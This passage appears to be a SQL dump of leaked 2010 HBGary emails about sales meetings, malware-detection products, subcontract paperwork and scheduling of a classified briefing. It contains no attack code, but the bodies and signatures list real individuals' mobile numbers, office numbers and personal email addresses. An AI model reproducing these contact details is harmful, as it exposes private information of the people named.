\r\n\r\n&nbsp;\r\n\r\nI know it&#8217;s a lot, we can certainly come out and\r\npresent to you if that would help.\r\n\r\n&nbsp;\r\n\r\nThanks for the time and attention.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3269,'aaron_hbgary_com/3269.html'),(11647,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008760.M424680P14101Q6503.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','Re: Fingerprint Data Request','Thanks Martin.\r\n\r\nScott.  Do you have this data?\r\n\r\nThanks\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 10, 2010, at 6:44 PM, Martin Pillion  wrote:\r\n\r\n>\r\n> Hey Aaron,\r\n>\r\n>    you called and asked about Fingerprint data?  I\'m sure we can send\r\n> you whatever we have, though it may be very large xml files.  Talk with\r\n> Scott to coordinate the logistics.\r\n>\r\n> - Martin\r\n',4680,'aaron_hbgary_com/4680.html'),(11648,'2010-09-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008760.M675080P14101Q6504.eml','\"Aaron Barr\" <aaron@hbgary.com>','When are you getting to Denver?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIs it around time of Greg?&nbsp; Should he get car?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3670,'aaron_hbgary_com/3670.html'),(11649,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008760.M97181P14101Q6502.eml','\"Barr Aaron\" <aaron@hbgary.com>,maier.1776@gmail.com','Fwd: Delivery Status Notification (Delay)','Aaron,\r\n\r\nI got a hold of Joe (see his personal email address cc\'d).  He\'s not\r\nsure why we\'re getting the email errors.\r\n\r\nHe thinks we may still be able to coordinate for something with the\r\ncustomer on Tuesday morning.  Please call him Monday to work out the\r\ndetails.\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Sep 10, 2010 at 4:52 PM\r\nSubject: Fwd: Delivery Status Notification (Delay)\r\nTo: maier.1776@gmail.com\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Mail Delivery Subsystem \r\nDate: Fri, Sep 10, 2010 at 4:31 PM\r\nSubject: Delivery Status Notification (Delay)\r\nTo: ted@hbgary.com\r\n\r\n\r\nThis is an automatically generated Delivery Status Notification\r\n\r\nTHIS IS A WARNING MESSAGE ONLY.\r\n\r\nYOU DO NOT NEED TO RESEND YOUR MESSAGE.\r\n\r\nDelivery to the following recipient has been delayed:\r\n\r\n    raymond.maier@baesystems.com\r\n\r\nMessage will be retried for 1 more day(s)\r\n\r\nTechnical details of temporary failure:\r\nThe recipient server did not accept our requests to connect. Learn\r\nmore at http://mail.google.com/support/bin/answer.py?answer=7720\r\n[dmzms99902.na.baesystems.com. (5): Connection timed out]\r\n[dmzms99901.na.baesystems.com. (5): Connection timed out]\r\n[dmzms99802.na.baesystems.com. (20): Connection timed out]\r\n[dmzms99801.na.baesystems.com. (20): Connection timed out]\r\n\r\n----- Original message -----\r\n\r\nMIME-Version: 1.0\r\nReceived: by 10.223.122.14 with SMTP id j14mr98256far.63.1283983332816; Wed,\r\n 08 Sep 2010 15:02:12 -0700 (PDT)\r\nReceived: by 10.223.124.146 with HTTP; Wed, 8 Sep 2010 15:02:12 -0700 (PDT)\r\nIn-Reply-To: \r\nReferences: \r\n       \r\n       \r\n       \r\nDate: Wed, 8 Sep 2010 16:02:12 -0600\r\nMessage-ID: \r\nSubject: Re: Classified Capabilities Brief\r\nFrom: Ted Vera \r\nTo: Aaron Barr \r\nCc: \"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\"\r\n\r\nContent-Type: text/plain; charset=ISO-8859-1\r\nContent-Transfer-Encoding: quoted-printable\r\n\r\nJoe,\r\n\r\nAaron is going to be in Colorado next Monday for a meeting in Denver.\r\nIs it possible to schedule a classified briefing with the customer\r\nearly Monday (8am-9am), or early Tuesday (before noon)?  We need to\r\nknow ASAP, so Aaron can plan his trip accordingly.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Sep 7, 2010 at 10:26 AM, Aaron Barr  wrote:\r\n> Joe,\r\n>\r\n> Looks like I am going to be in town early next week.  Any availability to have the discussion we were working towards?\r\n>\r\n> Aaron\r\n>\r\n> On Sep 1, 2010, at 12:11 PM, Maier, Raymond Joe (US SSA) (US ASTSS Huntsville) wrote:\r\n>\r\n>> Aaron,\r\n>> I am with a customer most of today. I will send you a note when free.\r\n>>\r\n>>\r\n>> Joe Maier\r\n>> 719.235.1898 - Mobile\r\n>> 719.325.8445 - Work\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, 01 September, 2010 09:06 AM\r\n>> To: Ted Vera\r\n>> Cc: Maier, Raymond \"Joe\" (US SSA) (US ASTSS Huntsville)\r\n>> Subject: Re: Classified Capabilities Brief\r\n>>\r\n>> Hi Joe,\r\n>>\r\n>> Can I give you a call to talk a little about the opportunity and we can discuss when is a good time to come out?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Aug 30, 2010, at 12:54 PM, Ted Vera wrote:\r\n>>\r\n>>> Hi Joe,\r\n>>>\r\n>>> I just spoke with Aaron (cc\'d).  He is planning to be in the Springs September 15-17th.  Would either the 15th or the 17th work for a classified capabilities brief?  If there is an immediate need he may be able to travel sooner - when would the customer like to meet?\r\n>>>\r\n>>> Feel free to coordinate directly with Aaron -- cell:  719-510-8478.\r\n>>>\r\n>>> Regards,\r\n>>> Ted\r\n>>>\r\n>>\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15153,'aaron_hbgary_com/15153.html'),(11650,'2010-09-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008761.M306341P14101Q6505.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: 451Group eCrime Report Published','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI got this resume from him \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Donald Andy Purdy\r\n[mailto:dpurdy@csc.com] \r\nSent: Monday, May 10, 2010 12:10 PM\r\nTo: Penny Hoglund\r\nCc: Bryant Tow\r\nSubject: Re: 451Group eCrime Report Published\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\nHere is a great guy, bryant tow, who would be a tremendous addition to your\r\nteam. &nbsp;He has a current TS/SCI security clearance.\r\n\r\nAndy\r\n\r\nAndy\r\n\r\nDonald A. Purdy, Jr. Esq., CISSP\r\nChief Cybersecurity Strategist\r\nCyber HGMS\r\nCSC\r\n703 641 2176\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete\r\nwithout copying and kindly advise us by e-mail of the mistake in delivery.\r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC to any\r\norder or other contract unless pursuant to explicit written agreement or\r\ngovernment initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; From: &quot;Penny Leavy-Hoglund&quot; [penny@hbgary.com]\r\n&nbsp; Sent: 05/10/2010 10:41 AM MST\r\n&nbsp; To: Donald Purdy\r\n&nbsp; Subject: FW: 451Group eCrime Report Published\r\n\r\n&nbsp;\r\n\r\nHere you go\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2195,'aaron_hbgary_com/2195.html'),(11651,'2010-09-11','\"Scott Pease\" <scott@hbgary.com>','/aaron@hbgary.com/new/1297008766.M401187P14101Q6506.eml','\"Barr Aaron\" <aaron@hbgary.com>','FW: Fingerprint XML data','Aaron,\r\nSee the response from Chris below....\r\n\r\n-----Original Message-----\r\nFrom: Christopher Harrison [mailto:chris@hbgary.com] \r\nSent: Friday, September 10, 2010 5:25 PM\r\nTo: scott@hbgary.com\r\nSubject: Fingerprint XML data\r\n\r\n  Scott,\r\n\r\nI have a set of  ~120 mb fingerprint xml data file.  I zipped it down to a\r\n3mb archive.  This dataset is from the old TMC database.\r\n\r\nFingerprint was ran against the old set of original PEs (not livebins) \r\nthat were extracted by the TMC server.   See the attached file: \r\n100mbfixed.zip\r\n\r\nAfter I learned this process was more valuable when ran against livebins,\r\nanother FP scan was executed against the livebin directory.  \r\nsee attached file: scan_history_assets.zip size ~14mb\r\n\r\nIf you need another the results of other FP scan  (ie: against the old\r\nlivebin dir) let me know, I can kick one off, however:\r\n\r\n*QA note: The speed of fingerprint seemed to deteriorate once the size of\r\nthe XML neared 100 mb size.\r\n    I have not yet devised a work around to scan the entire directory.\r\n\r\nLet me know if you have any other questions.\r\n\r\nChris\r\n\r\n',16160,'aaron_hbgary_com/16160.html'),(11652,'2010-09-11','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008767.M166759P14101Q6507.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Meeting with Dr. Porter','September 10, 2010 3:00 PM : Meeting with Dr. Porter \r\n',3704,'aaron_hbgary_com/3704.html'),(11653,'2010-09-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008767.M627226P14101Q6508.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Green Eggs Mitigation Study #13 - Forensics - Lockheed Martin Proprietary Information','Crap I need to go take a look at this.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Lentz, Jason M\" \r\n> Date: September 10, 2010 2:09:56 PM EDT\r\n> To: \"Lentz, Jason M\" \r\n> Cc: \"Britton, Douglas C\" \r\n> Subject: Green Eggs Mitigation Study #13 - Forensics - Lockheed Martin Proprietary Information\r\n> \r\n> Lockheed Martin Proprietary Information \r\n> Proprietary information owned by Lockheed Martin, such as business, financial or technical information, that requires protection from unauthorized disclosure. Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin. \r\n> \r\n> . \r\n> . \r\n> . \r\n> Message Start: \r\n> -----------------------\r\n> \r\n> Dear UNO Suppliers,\r\n> \r\n>  \r\n> \r\n> Please see attached summary sheet for Green Eggs Mitigation Study Survey.  If you have any questions please let me or Doug Britton know.\r\n> \r\n>  \r\n> \r\n> Thank you,\r\n> \r\n>  \r\n> \r\n> Jason M. Lentz\r\n> \r\n> SCA\r\n> \r\n> Lockheed Martin, IS & GS\r\n> \r\n> 13560 Dulles Technology Drive\r\n> \r\n> Herndon, VA  20171\r\n> \r\n> 703-466-1368 office\r\n> \r\n> 703-466-1270 Fax\r\n> \r\n> Jason.M.Lentz@lmco.com\r\n> \r\n>  \r\n> \r\n\r\n',12699,'aaron_hbgary_com/12699.html'),(11654,'2010-09-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008768.M66030P14101Q6509.eml','\"Barr Aaron\" <aaron@hbgary.com>','Shirts','http://www.embroiderysuperstore.com/\r\n',10830,'aaron_hbgary_com/10830.html'),(11655,'2010-09-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008774.M120023P14101Q6510.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>','Fwd: Fingerprint XML data','We found the old data. :)\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Scott Pease\" \r\n> Date: September 10, 2010 8:34:29 PM EDT\r\n> To: \"\'Barr Aaron\'\" \r\n> Subject: FW: Fingerprint XML data\r\n> \r\n> Aaron,\r\n> See the response from Chris below....\r\n> \r\n> -----Original Message-----\r\n> From: Christopher Harrison [mailto:chris@hbgary.com] \r\n> Sent: Friday, September 10, 2010 5:25 PM\r\n> To: scott@hbgary.com\r\n> Subject: Fingerprint XML data\r\n> \r\n>  Scott,\r\n> \r\n> I have a set of  ~120 mb fingerprint xml data file.  I zipped it down to a\r\n> 3mb archive.  This dataset is from the old TMC database.\r\n> \r\n> Fingerprint was ran against the old set of original PEs (not livebins) \r\n> that were extracted by the TMC server.   See the attached file: \r\n> 100mbfixed.zip\r\n> \r\n> After I learned this process was more valuable when ran against livebins,\r\n> another FP scan was executed against the livebin directory.  \r\n> see attached file: scan_history_assets.zip size ~14mb\r\n> \r\n> If you need another the results of other FP scan  (ie: against the old\r\n> livebin dir) let me know, I can kick one off, however:\r\n> \r\n> *QA note: The speed of fingerprint seemed to deteriorate once the size of\r\n> the XML neared 100 mb size.\r\n>    I have not yet devised a work around to scan the entire directory.\r\n> \r\n> Let me know if you have any other questions.\r\n> \r\n> Chris\r\n> \r\n\r\n',5504,'aaron_hbgary_com/5504.html'),(11656,'2010-09-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008775.M265422P14101Q6512.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Green Eggs Mitigation Study #13 - Forensics - Lockheed Martin Proprietary Information','We worked green eggs. They are usually pretty small (100-200k). It&#39;s up our alley. Can we team with Xetron?On Sep 10, 2010, at 6:47 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCrap I need to go take a look at this.AaronBegin forwarded message:\r\nFrom: &quot;Lentz, Jason M&quot; &lt;jason.m.lentz@lmco.com&gt;\r\nDate: September 10, 2010 2:09:56 PM EDT\r\nTo: &quot;Lentz, Jason M&quot; &lt;jason.m.lentz@lmco.com&gt;\r\nCc: &quot;Britton, Douglas C&quot; &lt;douglas.c.britton@lmco.com&gt;\r\nSubject: Green Eggs Mitigation Study #13 - Forensics - Lockheed Martin Proprietary Information\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin, such as business, financial or technical information, that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\nDear UNO Suppliers, Please see attached summary sheet for Green Eggs Mitigation\r\nStudy Survey.  If you have any questions please let me or Doug Britton\r\nknow. Thank you, Jason\r\nM. LentzSCALockheed\r\nMartin, IS &amp; GS13560\r\nDulles Technology DriveHerndon,\r\nVA  20171703-466-1368\r\noffice703-466-1270\r\nFax Jason.M.Lentz@lmco.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Green Eggs Mitigation Study13.docx&gt;\r\n\r\n',4303,'aaron_hbgary_com/4303.html'),(11657,'2010-09-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008775.M45587P14101Q6511.eml','\"Irby Thompson\" <irby@pikewerks.com>','Gatorbait','Hey Irby,\r\n\r\nWe haven\'t talked in a while.  Might be worth getting together again sometime soon.\r\n\r\nHave you heard of the gatorbait contract?  New to me but a few different people have mentioned it to me.  Its forensics, all kinds, so I am told.\r\n\r\nAaron',9799,'aaron_hbgary_com/9799.html'),(11658,'2010-09-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008775.M673348P14101Q6513.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Meeting at Digital Globe','I am going to stay at the same hotel.  I get on at 11am in Denver.AaronSent from my iPhoneOn Sep 10, 2010, at 10:47 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGreg is flying into Denver below is info\r\n\r\n \r\n\r\n\r\n \r\n  \r\n   Salt Lake City (SLC) to Denver\r\n  (Denver Intl.)\r\n  \r\n  \r\n  09/12/10\r\n  \r\n  \r\n  3:04 PM - 4:36 PM\r\n  \r\n  \r\n  Delta 3615 Operated By: MESABA DBA DELTA\r\n  CONNECTION \r\n  \r\n \r\n\r\n\r\n \r\n\r\nWasn’t sure if you wanted\r\nto meet him.  I am booking him next to Digital Globe, at the Marriott\r\nCourtyard.  Thoughts? \r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15311,'aaron_hbgary_com/15311.html'),(11659,'2010-09-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008775.M960002P14101Q6514.eml','\"Robert Frisbie\" <Robert.Frisbie@ManTech.com>','Update','Bob,\r\n\r\nI had a very good meeting with Dr. Porter, Director of IARPA today.  After our conversation she asked me to submit a proposal for their open BAA under collection.  I am going to start the write-up.  Those awards are typically about 200K to start.  It would allow me to build a significant part of what we discussed.\r\n\r\nAaron',16693,'aaron_hbgary_com/16693.html'),(11660,'2010-09-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008776.M301307P14101Q6515.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','RE: Aaron\'s meeting with the US-CERT for TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWell, I&#8217;m kind of confused.&nbsp; First are they looking\r\nat AD or DDNA for ePO?&nbsp; AD allows them to create IOC&#8217;s and scan for\r\nthem.&nbsp; The TMC is designed to analyze malware, not to scan thousands of\r\nmachines,&nbsp;&nbsp; Eventually it would be bundled as an option in an\r\nenterprise sale, but not today.&nbsp; I&#8217;m sure there is a way to &#8220;import&#8221;\r\nIOC&#8217;s into AD or there would be a way to do so, doesn&#8217;t seem like\r\nit would be that hard.&nbsp; I would tend to agree with Greg, they probably\r\nweren&#8217;t running the malware OR they don&#8217;t have the latest version\r\nof DDNA which is also possible.&nbsp; Did anyone ask which version they were\r\nrunning?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 6:29 PM\r\nTo: Maria Lucas\r\nCc: Penny C. Hoglund; Rich Cummings; Bob Slapnik; Joe Pizzo; Phil\r\nWallisch\r\nSubject: Re: Aaron\'s meeting with the US-CERT for TMC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOverall the meeting went well. &nbsp;They did have\r\nreservations about DDNA detection for their APT malware. &nbsp;When I asked\r\nthem what were the flavors of APT malware they mentioned the newer Zeus,\r\nFake-AV malware, which made me go hmmmm.... because I was under the impression\r\nwe do great on those. &nbsp;I talked to Greg afterwards and he mentioned\r\nsomething that has been mentioned before which is they might not be allowing\r\nthe dropper to actually download the malware and are just running it against a\r\nitty bitty dropper, no go. &nbsp;Soooo I asked for some malware samples to help\r\nus improve our technology and they said they would send what we needed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn the TMC. &nbsp;They liked where we were going which is\r\nthis.\r\n\r\n\r\n\r\n\r\n\r\nProvide TMC with DDNA results for volume malware (done).\r\n\r\n\r\n\r\n\r\n\r\nProvide a UI with a querable capability to search for IOCs\r\nwithin the database (not too difficult).\r\n\r\n\r\n\r\n\r\n\r\nProvide reports similiar to those of CWSandbox and Anubis\r\n(not to difficult).\r\n\r\n\r\n\r\n\r\n\r\nHook in Fingerprint (not too difficult).\r\n\r\n\r\n\r\n\r\n\r\nHook in Palantir (last piece - Palantir is going to do most\r\nof this work for us).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThey like all these pieces. &nbsp;The piece they asked for\r\nwas the ability to add IOCs to DDNA so they can alert on things that are not\r\nbeing caught by DDNA. &nbsp;After talking with Greg, all the data is their in\r\nthe TMC just to run crafted IOCs against what exists. &nbsp;We could develop a\r\nprocess to automate this in some way if they wanted. &nbsp;Meaning at to an IOC\r\nlist and run all malware analysis against those IOCs during normal processing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThey also like our IR concept of combining End Games,\r\nFidelis, and AD as part of an IR package. &nbsp;The lead IR guys exact comment\r\nwas, &quot;Thats smart&quot;. :) &nbsp;So I will follow up with Sean to get in\r\nfront of Nick (IR Guy) to talk specifically about that.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 9:03 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron had a hugely successful meeting with the\r\nUS-CERT.&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe outcome is twofold:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1. There is very high interest. We have to\r\n&quot;productize&quot; the Center.&nbsp; And, Aaron believes this is a\r\nmulti-million dollar sale.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2. The US-CERT will be providing malware samples to Aaron to\r\nhelp us improve DDNA detection.&nbsp; They claim that detection rates for APT\r\nare low.&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, can you provide a write up for us please?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank you \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5931,'aaron_hbgary_com/5931.html'),(11661,'2010-09-11','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297008776.M958571P14101Q6516.eml','courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com','SF 328 and KMPL','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.&nbsp; I will be working on a complete checklist\r\nfor items needed from subcontractors.&nbsp; However, I don&#8217;t want to\r\ndelay in getting some of these items to you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nSo, in accordance with L-5, V, 1.4 and 1.5, please complete\r\nthe attached SF 328 and KMPL if applicable/necessary.&nbsp; If you believe\r\nthese items are not applicable or not necessary for your company, please\r\nprovide an email stating that and briefly explaining why.&nbsp; If you prefer,\r\nyou can provide them in sealed envelopes as the data is sensitive and PII.\r\n\r\n&nbsp;\r\n\r\nPlease let us know if you have any questions.&nbsp; If you\r\ndo, please include Penny Zimmerman and Linda Thompson on the email as well.\r\n\r\n&nbsp;\r\n\r\nThank you for your assistance.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9115,'aaron_hbgary_com/9115.html'),(11662,'2010-09-12','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008777.M279645P14101Q6517.eml','aaron@hbgary.com','Meeting Tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nWill we have a chance to review any of your social media\r\nfindings prior to the meeting tomorrow? Could you forward me your findings late\r\ntonight or early tomorrow morning so I have an opportunity to review prior to\r\nthe presentation at noon.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nDan\r\n\r\n\r\n\r\n\r\n\r\n\r\n',298,'aaron_hbgary_com/298.html'),(11663,'2010-09-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008777.M566219P14101Q6518.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Meeting Tomorrow','Absolutely.On Sep 12, 2010, at 9:18 AM, Daniel Collender wrote:Hi Aaron,&nbsp;Will we have a chance to review any of your social media findings prior to the meeting tomorrow? Could you forward me your findings late tonight or early tomorrow morning so I have an opportunity to review prior to the presentation at noon.&nbsp;Best,Dan',14520,'aaron_hbgary_com/14520.html'),(11664,'2010-09-12','\"Penny Leavy-Hoglund\" 